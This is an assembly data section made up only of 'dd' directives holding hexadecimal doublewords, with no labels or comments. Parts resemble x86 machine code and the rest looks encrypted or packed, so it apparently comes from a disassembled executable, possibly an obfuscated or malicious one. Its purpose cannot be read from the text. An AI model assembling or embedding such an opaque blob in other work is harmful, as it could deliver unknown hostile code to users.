		dd 0F26A9987h, 53A18F37h, 156611CEh, 10A64932h,	63B6EA37h
		dd 58E3214Ah, 9E63F621h, 0F2657DBFh, 0B86ECD37h, 159A64F5h
		dd 9C661132h, 0F26A5587h, 0EA9EC737h, 1546A73Dh, 2BE71132h
		dd 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h,	9C624EB1h
		dd 0F26A9987h, 0E380CB37h, 0D5A7EECDh, 58E38B31h, 9663A321h
		dd 0F267B78Fh, 91691037h, 156688AFh, 0BFCC7AB3h, 90698898h
		dd 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h, 1565F8DBh
		dd 0A5F18832h, 0A8E514DAh, 108133EFh, 2BE21E33h, 0AD668832h
		dd 15664532h, 3729FB1h,	1A6614DCh, 156680B6h, 11FBC932h
		dd 0EA63CF5Ch, 855991E1h, 156E0C3Dh, 0D2E54432h, 1525CB37h
		dd 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h, 156635DBh
		dd 95CCD032h, 1A8FBB4Dh, 15663AB7h, 1DB9232h, 15636624h
		dd 156EC03Dh, 88EB2232h, 108B7CE6h, 52EE5BCDh, 0E0E3CF36h
		dd 3E63C531h, 118E92F5h, 53A12599h, 156644CEh, 0EA77CB32h
		dd 0A0EFEECDh, 108184EFh, 95662C60h, 150C2232h,	3CA3A4CDh
		dd 80998DD5h, 10816153h, 74EBA968h, 0D263F630h,	15668833h
		dd 11A7C732h, 1707AFBBh, 58F14D5h, 0FC9977C7h, 15664296h
		dd 74EBA952h, 9E63F630h, 5EB013Bh, 9463AA24h, 51326C0Ah
		dd 9E31E7Eh, 73668832h,	59623CB3h, 5E32D1Ch, 9E661132h
		dd 13A00BC2h, 0F83C1B9h, 138F27D5h, 9E661133h, 26B603C2h
		dd 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh,	3B5ABBCDh
		dd 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h, 0EAB1A43Dh
		dd 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh,	4A5AEECDh
		dd 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h,	0EAC90E3Dh
		dd 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h,	8F8F0578h
		dd 9099DDCDh, 0A6E21EFBh, 98668832h, 0F268C587h, 9EACA937h
		dd 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h, 0B195E6B5h
		dd 1599CFF4h, 1BE7D1BFh, 90ED27D5h, 108110DBh, 906948B7h
		dd 15664428h, 27C3A7F4h, 7D2114D5h, 0C1FC2FE0h,	3E63F1CDh
		dd 90EB27D5h, 108C6C93h, 0EA3458CDh, 1AA6C1E2h,	15661AB7h
		dd 3CE39A32h, 90636F32h, 0FE34BF2h, 0D3662232h,	0F254B4B7h
		dd 0FC0EC437h, 0EABF9E2Eh, 0F24D2787h, 0B4E39C37h, 0EA63624Fh
		dd 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh,	5E3CD32h
		dd 4563CC24h, 4FE39C64h, 0EA63624Ah, 1AA64FE2h,	156627B7h
		dd 1562F832h, 51EF8832h, 0D6075816h, 5EBA952h, 4563FF24h
		dd 556549B9h, 9DF6CF0Eh, 9C662232h, 0F26F18A7h,	159E8D37h
		dd 45ED4432h, 70F3AB3Eh, 4D63F61Dh, 3142CCB9h, 905D8519h
		dd 10810D57h, 1576933Dh, 905D8832h, 10814D3Bh, 1562A13Dh
		dd 0D7071132h, 0D2078836h, 15666036h, 51A12232h, 15661516h
		dd 10DE8832h, 98664432h, 0F22B06BFh, 7587EE37h,	0FC5A8EB8h
		dd 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h,	1574C03Dh
		dd 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh, 0D6072232h
		dd 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh, 13A592ECh
		dd 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h,	1566881Bh
		dd 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh,	3B8DC733h
		dd 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch,	0EA998FB7h
		dd 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh, 0EEE6E1D1h
		dd 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h,	91E287DBh
		dd 29664433h, 0E22DD9h,	29661130h, 64E287D1h, 29664432h
		dd 56E22DD0h, 4A661130h, 0D638D169h, 386C1F5h, 156027DCh
		dd 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h,	48E39A7Ch
		dd 9E636F2Eh, 0F24AC9A7h, 96B8A937h, 4B6517F1h,	1ABEB330h
		dd 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh,	0B80042D9h
		dd 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h, 1081265Fh
		dd 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 386A7F5h,	156414DCh
		dd 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah,	0FC255131h
		dd 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h, 48E3CFEBh
		dd 9E63C52Eh, 0F24A9CA7h, 14DB0B37h, 1463A31Eh,	15C5A63Dh
		dd 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh, 9B8FEECDh
		dd 0D2668832h, 0FB70A4B7h, 15662037h, 1AB89A32h, 0ECE68684h
		dd 1DE54BB2h, 16662232h, 188F52EBh, 95668832h, 0CC91BBDBh
		dd 1599C3B3h, 0CC4D1132h, 93B0DB9h, 80ED41D5h, 10810EBFh
		dd 3967ACB1h, 1A678DD5h, 15660CB6h, 1ABE1932h, 156619B0h
		dd 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h, 1A8708B2h
		dd 3ECC8538h, 118DA1EDh, 0D3E5BAA1h, 78D30130h,	0D263A336h
		dd 0F24A23B7h, 15661037h, 11A20B32h, 0D1E51D69h, 11A2A136h
		dd 0EA9F66DBh, 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h
		dd 9638D169h, 0D28F40F6h, 0D299DDCBh, 0FB70F1B7h, 15668D37h
		dd 96B8CF32h, 0B6526F1h, 93B94B9h, 80ED8DD5h, 108168BFh
		dd 8DBA17Ch, 1463F62Ah,	14650C3Dh, 0CD5D4432h, 156EA03Dh
		dd 0CF5D1132h, 154D0E3Dh, 0A0EF4432h, 1081265Fh, 3868CB9h
		dd 49678DDCh, 0CB8F4816h, 4A662232h, 0D7B94F5h,	15678DD5h
		dd 4C3D4432h, 11A2A16Ch, 0EA9EE6DBh, 14DB0BCDh,	1463A31Eh
		dd 15DDA63Dh, 884D1132h, 1081946Fh, 1CCFC9B9h, 0DE6527D5h
		dd 0FCE5DE19h, 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h
		dd 0EA99711Ch, 386C1F5h, 156427DCh, 0CBED1132h,	95683E3Dh
		dd 9669C4CBh, 1566223Ah, 0FC25C831h, 1566883Fh,	0E299ADB2h
		dd 0EA87A3EBh, 3E661132h, 48E303EBh, 9E63A32Eh,	0F24AAFA7h
		dd 0EA20F837h, 90A177CDh, 108852D2h, 15662230h,	0A369CFB9h
		dd 959F083Ch, 156EC73Dh, 0CC652232h, 156BF871h,	0FCE68832h
		dd 94BFB3CDh, 1566DDD3h, 9EBF3A32h, 0F27AD5B7h,	98F3CF37h
		dd 9663C51Eh, 0F24A108Fh, 91698937h, 0EA99BAFBh, 9769FA09h
		dd 1566113Ah, 93695209h, 0EA99B955h, 3EA8A97Ch,	108F92FDh
		dd 84CC6182h, 0EDEEAD99h, 13ECDDCDh, 9169F90Eh,	15668834h
		dd 157EADCAh, 9E352232h, 143812ECh, 0A5634BB1h,	0CA4DEEDAh
		dd 8662C9B1h, 0D3E54A99h
		dd 44A57137h, 2960CF54h, 55E22DF1h, 29661132h, 2DE287F9h
		dd 29664432h, 2DE22DF0h, 29661132h, 25E287F8h, 73664432h
		dd 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh, 9F662232h
		dd 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh,	26661132h
		dd 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh,	15603132h
		dd 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h,	108168BFh
		dd 9069EBB7h, 15661134h, 39EB3DBBh, 0EC3F41D5h,	13ED44F1h
		dd 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h,	15FA953Dh
		dd 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh, 0D75A8832h
		dd 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h,	916961CDh
		dd 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh, 15662250h
		dd 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h,	13E21E92h
		dd 0ED668832h, 15664BDBh, 98D3AB32h, 9863F61Eh,	0F803BDAFh
		dd 0ECB5BB37h, 53ED72F1h, 4E39822h, 4D636F1Bh, 987A82B1h
		dd 0F242A78Fh, 5165BC37h, 98CDAC16h, 0F27ADD8Fh, 51658F37h
		dd 0BE363516h, 3EDB35BFh, 16CB41D5h, 0BE4E0676h, 9830D26Ch
		dd 0F80386AFh, 0FCB5BB37h, 0FFFFFF95h, 0D24ECEDFh, 0FD4AA86Ch
		dd 51A2458Ah, 0A7C0D5F2h, 96A7A857h, 152AA8EDh,	2429458Ah
		dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch
		dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah
		dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h
		dd 59D7BA86h, 0CDCDCE25h, 0DCF14067h, 0F8F3EA32h, 0D871BA8Fh
		dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0A638C882h, 462FB970h
		dd 881CDF07h, 0C6D55145h, 0B85E0003h, 0E9835492h, 8BA4F305h
		dd 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 53BADC58h, 0D6113C52h
		dd 0DDD05C53h, 5163B977h, 0DF79F4B9h, 1331B575h, 5A1A3822h
		dd 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 647034F4h,	5E983D5h
		dd 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 94BCE017h, 3FD525F8h
		dd 0FAADFDF5h, 22929802h, 7ACFB734h, 29B723ACh,	7A1A20ADh
		dd 277975FDh, 7A0A987Ch, 0FFA07013h, 7FC28AFAh,	0E983C87Dh
		dd 8BA4F305h, 0ECBD8DDBh, 8D05EE16h, 0EE31D38Dh, 6644B805h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h,	0FFFFF285h
		dd 83C08BFFh, 0E70C81BDh, 9750005h, 2819BD83h, 740005E7h
		dd 8B535019h, 411B8C0h,	85890000h, 5E71775h, 0B4FA9D8Dh
		dd 0D3FF05E9h, 0BD83585Bh, 5E72819h, 50177400h,	411B853h
		dd 85890000h, 5E71775h,	0B19B9D8Dh, 0D3FF05E9h,	0C08B585Bh
		dd 72A4F2BBh, 0FC04EB46h, 0E9031C7Eh, 5B6h, 0CC62B72Dh
		dd 15AB7E7Ch, 63F920C5h, 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh
		dd 6599E97Fh, 1BE636CCh, 0CF308016h, 0DEF7CC62h, 80070DF1h
		dd 2AAF955Ah, 41F839C6h, 4FE21E2Ch, 91D3DCC0h, 17486454h
		dd 218CE7B6h, 873068CEh, 768956A5h, 6FBF55BBh, 6B54A190h
		dd 3F8C9D5Dh, 2809F7A7h, 0FF0B43DBh, 1A17E700h,	82CF35CDh
		dd 0BC758B99h, 59827884h, 8C7B658Bh, 0B168CEEAh, 0F0CBAF9Ch
		dd 85535491h, 0BEF2A44Dh, 0F6041228h, 164EE633h, 7DEEF50Ah
		dd 48E91563h, 69AF63FBh, 4E056B5Fh, 7B684C39h, 22F05492h
		dd 59A8F8EAh, 0DDEB42D8h, 0C9D50D24h, 0CAACF938h, 0C0C2AF34h
		dd 0CC4B3FB2h, 928FFBDFh, 4FB58354h, 0A9F79CE9h, 34FD0453h
		dd 80B14E9Eh, 6092B7C9h, 6A8E725Fh, 48165492h, 21632394h
		dd 0A07F40E9h, 69549267h, 0DC86F107h, 0BD457C68h, 94h
		dd 0F839C668h, 0D40CEAABh, 24D55491h, 0F946EB16h, 97652961h
		dd 7CFC3AE4h, 78657A45h, 5491DF94h, 0A4164E1Ch,	1, 4DB1BF4Fh
		dd 5AA0ACE4h, 8F0618CFh, 22397FA4h, 1EEB6ECDh, 0C92F4A2Dh
		dd 0EDFFE891h, 0EE4964B5h, 0A8B4EC77h, 0C0718D52h, 2875DB73h
		dd 19CE313Fh, 63FB48E1h, 47B9C5FDh, 53C8AC99h, 5E4E5492h
		dd 1F3F2E09h, 0ED9D6B1Dh, 37CF1C0Dh, 9ED284D1h,	0F9E0F248h
		dd 9BDF8D14h, 41B9C5FDh, 0FD0252E8h, 35479E34h,	58C6BE36h
		dd 31427AF8h, 0A7F435C6h, 3DF435C5h, 2B63B62Fh,	0CE5BA082h
		dd 0CF629F81h, 895F0D82h, 64726204h, 65FB2ECDh,	0FA47EA15h
		dd 0EE50FF11h, 29A95124h, 740C59D8h, 1BCAD60Eh,	0E2E8B1FEh
		dd 0A4A76114h, 93A8457Ch, 53000000h, 0A7F435C6h, 0DE4BB0BEh
		dd 0CE4B9AA6h, 0CD5C9F81h, 0CF629E80h, 24FE21Fh, 0B4F90F5Dh
		dd 5BEA0034h, 9CF389A0h, 962758Ah, 34CB8837h, 535F97FDh
		dd 523481A8h, 98FF35AEh, 79C66B93h, 977D2DE1h, 3442F95Fh
		dd 822B63C6h, 3225B3B9h, 457C9A98h, 0FE1BCAD8h,	6FE119B1h
		dd 62h,	34B1BF1Ah, 5AA1ADE5h, 8B9982CFh, 0A78A7473h, 245CC25Ah
		dd 0FB48E918h, 64FEE519h, 0CADF18EBh, 684A97FDh, 0D74C9998h
		dd 8BCED329h, 0C3380FDDh, 0E44ADF1Ch, 34C6F94Eh, 7B2C3EF5h
		dd 0E0940B1Eh, 14D57EB6h, 5491EB35h, 9DEA47B7h,	9DEA3FBBh
		dd 4F5CAAF8h, 37684E6h,	457CEB59h, 13Ah, 1FC6E500h, 34CBADFAh
		dd 0CA3446FDh, 3009BACFh, 0C56A134Bh, 13D26177h, 88EE43BCh
		dd 0FA83BFD1h, 0F5A98877h, 477FA55Dh, 0D0386B55h, 4E592C19h
		dd 13E15177h, 161BE4C6h, 50814D5Fh, 0F3FED175h,	8679C9BBh
		dd 0BF9D5EABh, 0AE5A78DCh, 4654EA00h, 344078B9h, 80D066CBh
		dd 4F98687Fh, 0CD1A80B1h, 0A082CF35h, 6D72885Fh, 0B9519E93h
		dd 2136ED53h, 78DC5034h, 3B09D65Ah, 0B4CD96FDh,	12F6E302h
		dd 9A5A790Eh, 852E66CCh, 152BC1B1h, 0EB38F907h,	0F00F1B53h
		dd 4654AB41h, 61D0309Fh, 0DE167C14h, 9BC64CF6h,	62778C40h
		dd 79199175h, 0BC4B195Ah, 5A7919D8h, 0E85A9260h, 167h
		dd 91FB2C93h, 0F986EDDAh, 0B8865176h, 8674826Bh, 0A05F6BA3h
		dd 96A4FB91h, 818DC564h, 8466B37Eh, 54936C7Bh, 0D11E84ADh
		dd 71CD339h, 7900361Ah,	0F33EC05Ah, 96062541h, 6F656DF6h
		dd 4628D109h, 452774B5h, 5FD22EB9h, 0C7147A12h,	860BE115h
		dd 48E6F4E4h, 3169C03Ah, 1906DA25h, 5A796635h, 0A63FEFBDh
		dd 288E2673h, 97826371h, 1166D5Fh, 79663014h, 0B2EAB85Ah
		dd 9B6E20CAh, 3D0140h, 98AA0000h, 74B95EC5h, 0D1E567Fh
		dd 0B848E42Ch, 6F5C1379h, 5491D35Bh, 0C9DE9563h, 91D3F8DCh
		dd 7AB28054h, 0D42C10D1h, 9EFA5491h, 0C52B5F48h, 0D40D210Eh
		dd 47155491h, 0A99FB1h,	2C020000h, 79B847FBh, 186F5C13h
		dd 985176DBh, 7F947DCAh, 78DCAE92h, 6044315Ah, 0E85A78DCh
		dd 629A681Ah, 0F288A956h, 1DD45DA2h, 2206F308h,	0AA5A78DDh
		dd 0DC694DDCh, 23F15A78h, 188142EBh, 8F5A78DDh,	0AC907D92h
		dd 345A78DDh, 9C6A2E66h, 4EA93AC5h, 458C3E78h, 0E8D268CEh
		dd 88964DBFh, 7184BC5Dh, 765A475Ch, 0FE5A7985h,	0CC1918E6h
		dd 0AB96CE34h, 576792A1h, 0B9EF92A4h, 5F907D9Fh, 0FE4B1927h
		dd 974EE31Ch, 7FB77289h, 869431D6h, 0BA7EB67Bh,	0E0487B2Ch
		dd 0BC711729h, 13863105h, 0D1DBC8DBh, 0D95D5551h, 2C20750Bh
		dd 2EB947FBh, 79115ED3h, 0E1F6AD13h, 0C3B028D3h, 5491D3DFh
		dd 0FB339967h, 7FE10610h, 0F3400E51h, 0AD43EE11h, 428FA25Dh
		dd 51C95781h, 0F1AE158h, 1120E0C2h, 3BD11FC4h, 34C2F676h
		dd 30E50416h, 0DE8FFC99h, 0CC659AA6h, 1819E636h, 1A17E9CBh
		dd 0CDA28CDh, 0D167CA35h, 9C956C7Ah, 737FB74Fh,	8CA55B8Ch
		dd 4F7A73Fh, 8972BF25h,	4BA38774h, 132B6172h
		dd 2CE046EBh, 1215F061h, 2AF830F5h, 0Dh, 0BDAABF8Dh, 5491D3D9h
		dd 0E15B9361h, 0FB1EC69Ch, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h
		dd 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 0B686FBBh
		dd 8900004Dh, 0EF682434h, 8900007Eh, 3C68241Ch,	89000076h
		dd 6768243Ch, 8B05EE33h, 0C481241Ch, 4,	8904EC83h, 4832424h
		dd 535F0424h, 0FF08478Fh, 815F2434h, 4C4h, 2434FF00h, 4C4835Bh
		dd 0F9477AE9h, 7BDF75FFh, 0C428DB2Ah, 0C9B81176h, 305EE38h
		dd 86E0FFC5h, 361BB977h, 4B32C83Dh, 2D33DA50h, 7C36E617h
		dd 112FD8DCh, 5417F33Ch, 0E8258398h, 0Bh, 6807787Dh, 221680ABh
		dd 0E979589Bh, 5, 14B54477h, 81F95AA6h,	6F4CC2h, 0D78B800h
		dd 0DB3368F3h, 28D0Fh, 0CF8B0000h, 661A348Bh, 23C7F781h
		dd 1242C681h, 0F6810742h, 51295BE4h, 3154F681h,	11E97356h
		dd 61000000h, 0F239826Bh, 2CBA0A64h, 7D34DDD7h,	0D6573D7Eh
		dd 8B1A3489h, 4EB83CBh,	0FB81C28Bh, 0FFFF9148h,	1B850Fh
		dd 0B5600000h, 0C981665Ah, 0E961B9EDh, 18h, 0AD0836C5h
		dd 358B96BDh, 0F698D1CFh, 99E9F953h, 9CFFFFFFh,	8A86646Eh
		dd 8EBh, 6BD60000h, 0FAE913DDh,	68000004h, 5EE3AE2h, 0F94696E9h
		dd 3B3A68FFh, 8CE905EEh, 68FFF946h, 5EE3CFFh, 0F94682E9h
		dd 712D2FFh, 50D92171h,	9E7B6ABAh, 0E948B808h, 31F80353h
		dd 0F619829Bh, 3E8E2405h, 8BDB71C0h, 0D525BB76h, 9C71072Ah
		dd 0DB29683h, 543A5A80h, 0F435C6CFh, 573B283Dh,	0DF5491D3h
		dd 4E30D911h, 0EA80B1h,	0A0CA17D7h, 0A0ED3CBEh,	0CF775408h
		dd 4B38EF55h, 51770AE0h, 0CCD1AE8h, 5A790E2Ch, 402BC1C7h
		dd 409BC696h, 31977h, 1C572200h, 0E49B0D36h, 0BB0829D6h
		dd 0EBD8EB23h, 5176E2A8h, 74F56230h, 0AFDBE88Dh, 13897688h
		dd 0D55EF77Dh, 2058D925h, 28DF497Ah, 0C384F43Bh, 59A67454h
		dd 8B42AADDh, 304D5C79h, 0D50D21CFh, 0C11FD5C2h, 0D19F5AAAh
		dd 0F4F30C1Ah, 0F9DB28F1h, 5CC22801h, 0C66397A5h, 0B7A9E179h
		dd 75999867h, 0DBBCA083h, 566C10EDh, 0A8000003h, 0F747DD3Ch
		dd 40902603h, 8EDE74A5h, 0D929BF72h, 58710722h,	0FA2FCCEFh
		dd 47EA1464h, 91A061B1h, 0DD54ABFBh, 6C597247h,	5A800D88h
		dd 2CA52A10h, 0EDDA91FBh, 517FEB6Eh, 0DBE9A06Eh, 23730920h
		dd 430451D8h, 0B15C66DAh, 0F2161BE4h, 0E4E97510h, 0FED77B58h
		dd 2, 4F9F35E4h, 98E87EABh, 0E636CC4Dh,	3181171Ah, 0B0C95FCAh
		dd 52D72447h, 9F926CBCh, 0E948B909h, 35FC0353h,	0C4B1CA9Fh
		dd 5A800EE0h, 2CFD8268h, 0EDDA91FBh, 517FEB6Eh,	0A28E5769h
		dd 69B66382h, 71581DD1h, 6634427Ah, 0D059A1AFh,	0AB3EB83h
		dd 80596949h, 1C15EB5Ah, 2011EDCFh, 1FED21D3h, 59705441h
		dd 2AF85A80h, 0C3D82DC4h, 59DDC1AEh, 97655A80h,	805A2408h
		dd 0A6DEAC5Ah, 243614E2h, 6373D483h, 0F534130Ch, 486A0AC8h
		dd 18C2AAE2h, 58409265h, 2D7AB74Ah, 0DF1DE95h, 955A8079h
		dd 0AF1D8FC7h, 0C6000001h, 0F9D905B4h, 1F570175h, 0AE39C60Eh
		dd 0AD93E051h, 6047C70h, 78DE44B6h, 0CB34422Bh,	0E94FE21Ch
		dd 0C0CC049Ch, 0D0B4A13Fh, 58549214h, 0A48E248Ah, 3D520973h
		dd 0E816D12Fh, 0C0ABE349h, 51772161h, 5C613E1h,	5A792225h
		dd 8DDA57A7h, 90DD54ABh, 3B4096F2h, 4D3A4FA4h, 5A792169h
		dd 1E5D2F1h, 895A7922h,	591D55BBh, 0B62ED883h, 350F409Bh
		dd 0BA000000h, 0DA91FB2Ch, 76FC26EDh, 6D8EA651h, 0FB9A7E6Bh
		dd 54225A78h, 0BCD188EEh, 78FBEBCFh, 6DA5735Ah,	0FC2303C4h
		dd 0B8BE5A78h, 0D48D3722h, 0B76E409Bh, 19000000h, 0ABF839C6h
		dd 0EBA932C9h, 6D959BFFh, 859A51B7h, 926DB498h,	366E3C54h
		dd 8C54AB8Dh, 926DBB9Fh, 0C5754354h, 428FF53Ch,	0FC929F60h
		dd 0C66397A5h, 7219A38Eh, 71C5492h, 9273361Ah, 0B8F0BE54h
		dd 48DE53ACh, 0CC3355Eh, 79013F1Fh, 3AF1BF51h, 49EE1325h
		dd 91CAAE9Bh, 84525A7Ch, 0C4ECED0h, 0F633C8D4h,	3EEB1060h
		dd 0ECF6F21Ah, 0F99D7AE4h, 139h, 64FA1FC5h, 0AD43E614h
		dd 0FB91885Dh, 46DC55ABh, 8E2405F6h, 12E90C75h,	0CD318117h
		dd 837ECE64h, 37C818AEh, 768F64FAh, 800FA589h, 0C2472D5Ah
		dd 3DF435C6h, 0D71D272Bh, 0F62E2B2Ch, 0E64BB404h, 39C6FB50h
		dd 36C9ABF8h, 92DF4AB1h, 14FE94FAh, 14CF2FE3h, 79774687h
		dd 8FF55B52h, 4427EBD8h, 90AF5177h, 79C5BFA3h, 656F455Ah
		dd 8B4CA1Fh, 6B228856h,	0F58B9E5Dh, 7916E6C6h, 9A97685Ah
		dd 629FAD04h, 0B2EA82CFh, 87D455A6h, 0A8E3h, 0FB2C4600h
		dd 0B7C5DA91h, 0C8B3EB2Eh, 517FEB45h, 50327F4Dh, 9CEC82AFh
		dd 917CE63h, 632AEEF5h,	3E2A1CDAh, 0EF7A0D8h, 693195FCh
		dd 134BAA09h, 90E48B28h, 253ABD48h, 853F2310h, 0F9C770B3h
		dd 0B385866Ah, 42EF1070h, 0DDAB5DF5h, 3C0BE1A5h, 81D86EC3h
		dd 0BBE7CB6Fh, 0CD70949Ch, 35CC11Fh, 0D4E0187Eh, 0B3A0B52Bh
		dd 70B3C7CFh, 16FA8957h, 9E70B3C8h, 3B1D6AD0h, 7A1F6CC5h
		dd 7280DE2Ch, 5E6AA28Fh, 0C4D990A1h, 9CE948B6h,	0C7917504h
		dd 4B1970B3h, 7FA18F97h, 1F57F275h, 0F22DD2Dh, 31EC2h
		dd 58810000h, 0FB1EC613h, 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h
		dd 227D4B6h, 128D3B5h, 32ED2B4h, 811D4B6h, 821D9BBh, 0EC836FBBh
		dd 242C8904h, 5E08950h,	4, 8704E883h, 895C2404h, 1E68241Ch
		dd 89000011h, 34BB2414h, 8162F74Bh, 291B97E3h, 2CC38116h
		dd 0C10D5B78h, 0BF5708EBh, 444841F8h, 473FCF81h, 814732DEh
		dd 0BD0589EFh, 5FFB297Ch, 24148B54h, 5004C483h,	8B8h, 12A90500h
		dd 0D00176C6h, 0C612A92Dh, 58188976h, 5724148Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4835B24h,	41A9E904h
		dd 530FFFF9h, 3E5DB82Bh, 0C50305EEh, 0E6D1E0FFh, 212D5106h
		dd 0BA1A06A5h, 145377C5h, 56041A47h, 0AB6E1CE0h, 0FF3C100Eh
		dd 2C4132FBh, 1B4723A0h, 0EDE94FB3h, 60000000h,	0A8D88C66h
		dd 0DF840F04h, 8B000000h, 0E72865B5h, 0FE8305h,	22850Fh
		dd 85C60000h, 5E732A5h,	69696845h, 0B5FF8E72h, 5E70899h
		dd 7DA1858Dh, 0D0FF05EAh, 17018589h, 0F08B05E7h, 0FE93E80h
		dd 3185h, 80858D00h, 0FF05EC87h, 11BD8BD0h, 8105E71Bh
		dd 1184C7h, 65B58B00h, 8705E728h, 8B9F7h, 0A4F30000h, 2865B58Bh
		dd 858D05E7h, 5EAA5C0h,	0B58BD0FFh, 5E70671h, 0F00FE83h
		dd 2285h, 0A585C600h, 5405E732h, 4EBEF468h, 99B5FFFFh
		dd 8D05E708h, 0EA7DA185h, 89D0FF05h, 0E7067185h, 80F08B05h
		dd 850FE93Eh, 3Ah, 671B58Bh, 858D05E7h,	5EC8780h, 0BD8BD0FFh
		dd 5E71B11h, 1184C781h,	0C7830000h, 71B58B08h, 8705E706h
		dd 8B9F7h, 0A4F30000h, 671B58Bh, 858D05E7h, 5EAA5C0h, 0C361D0FFh
		dd 3F1A858Dh, 858905EEh, 5E722E1h, 896904EBh, 0D2E93F7Fh
		dd 0E4000004h, 33831900h, 7CCC62C7h, 0CA1AB069h, 1565FB36h
		dd 94AD43E6h, 36F3082Bh, 83AE50A0h, 0CD649DEDh,	1918E737h
		dd 0A895AE83h, 5A8013C4h, 0C6E1664Ch, 0C2ABF839h, 3F224FB0h
		dd 0E41CB53Eh, 700623D8h, 552DF20h, 855DC23h, 855D426h
		dd 7DD42256h, 0C919AF82h, 0C63F938h, 0E33001FEh, 0FA07134Bh
		dd 0F301EA37h, 829D708h
		dd 85BD55A2h, 5FAC8579h, 5FAC7D7Dh, 61AE837Dh, 206D7BAFh
		dd 0BA895FADh, 52999C47h, 0FA47D86Dh, 2D7AB74Ah, 49992F95h
		dd 452E7BB6h, 3068C937h, 92836645h, 3FCD2F54h, 7C4CA24Ch
		dd 568345h, 0C62E0000h,	0C2ABF839h, 9E475B0h, 7CB4BB96h
		dd 921FB391h, 0CC1A7C54h, 7CB0EF99h, 1D045h, 0C67B0000h
		dd 8B50AB34h, 9799C3E5h, 24FB532h, 0D5B7046Ah, 0D5B70425h
		dd 7B9062Bh, 0CC2E05D3h, 0A491A65Dh, 549298C0h,	61C67A48h
		dd 5D3815FFh, 0A0F0E21Ah, 0E73CD25Fh, 0A7F435C6h, 0A7F435C5h
		dd 3E15E3D3h, 0A7B56CBDh, 0F38BD859h, 8679C9BBh, 697C5EABh
		dd 949A63B0h, 0FA791346h, 8C5A457Ch, 5000000h, 0A7F435C6h
		dd 42F920C5h, 1663C634h, 0A70AD730h, 74DAF0F8h,	4DB1933Ch
		dd 4CB597E4h, 0D4C498E5h, 0C5F97906h, 4EDB2037h, 0AE5361B8h
		dd 0CAF93A35h, 157B4E59h, 0FF2AD1DDh, 6AC73A48h, 0A44D851Dh
		dd 0A6F33EC2h, 0A7F43DC4h, 0A6F336C5h, 5825B301h, 3A2DBBC1h
		dd 457C4380h, 9F53CEE0h, 0ED87EF23h, 6343B5h, 0BFEE0000h
		dd 0D3D9BDAAh, 93615491h, 7DAC4F5Bh, 7EB34E30h,	0B1BFBC31h
		dd 0C762984Fh, 447C1461h, 20DB6A80h, 0BF1E7309h, 95E24FB1h
		dd 94E148B3h, 525E96FCh, 733481A8h, 5491D394h, 29F7E416h
		dd 0CC5BDD2Fh, 0E4C61379h, 0F839C817h, 4BA74592h, 0D687F0BDh
		dd 0C0F839C8h, 0D17BEEFCh, 0B2457CC7h, 1, 0FA1FC65Dh, 0FD34CBADh
		dd 60443146h, 0E85491D3h, 5739E21Ah, 6FAA3BA4h,	60D6BC09h
		dd 0C6D614C3h, 77BA44F4h, 7054412Ah, 0F8549204h, 9462BE2Ah
		dd 0B0469407h, 708B44A1h, 0D3BD53B9h, 948138A0h, 51772DC1h
		dd 4C2E7B49h, 5C402DB3h, 0E45A7933h, 0CA1AB016h, 3745FC35h
		dd 801865C4h, 0DE9F48h,	0EF5A7934h, 8395AB41h, 0D3B46AC0h
		dd 0ADB9F1C4h, 0F949DF52h, 0FCDE2B06h, 0DE12E03h, 8778CF1Dh
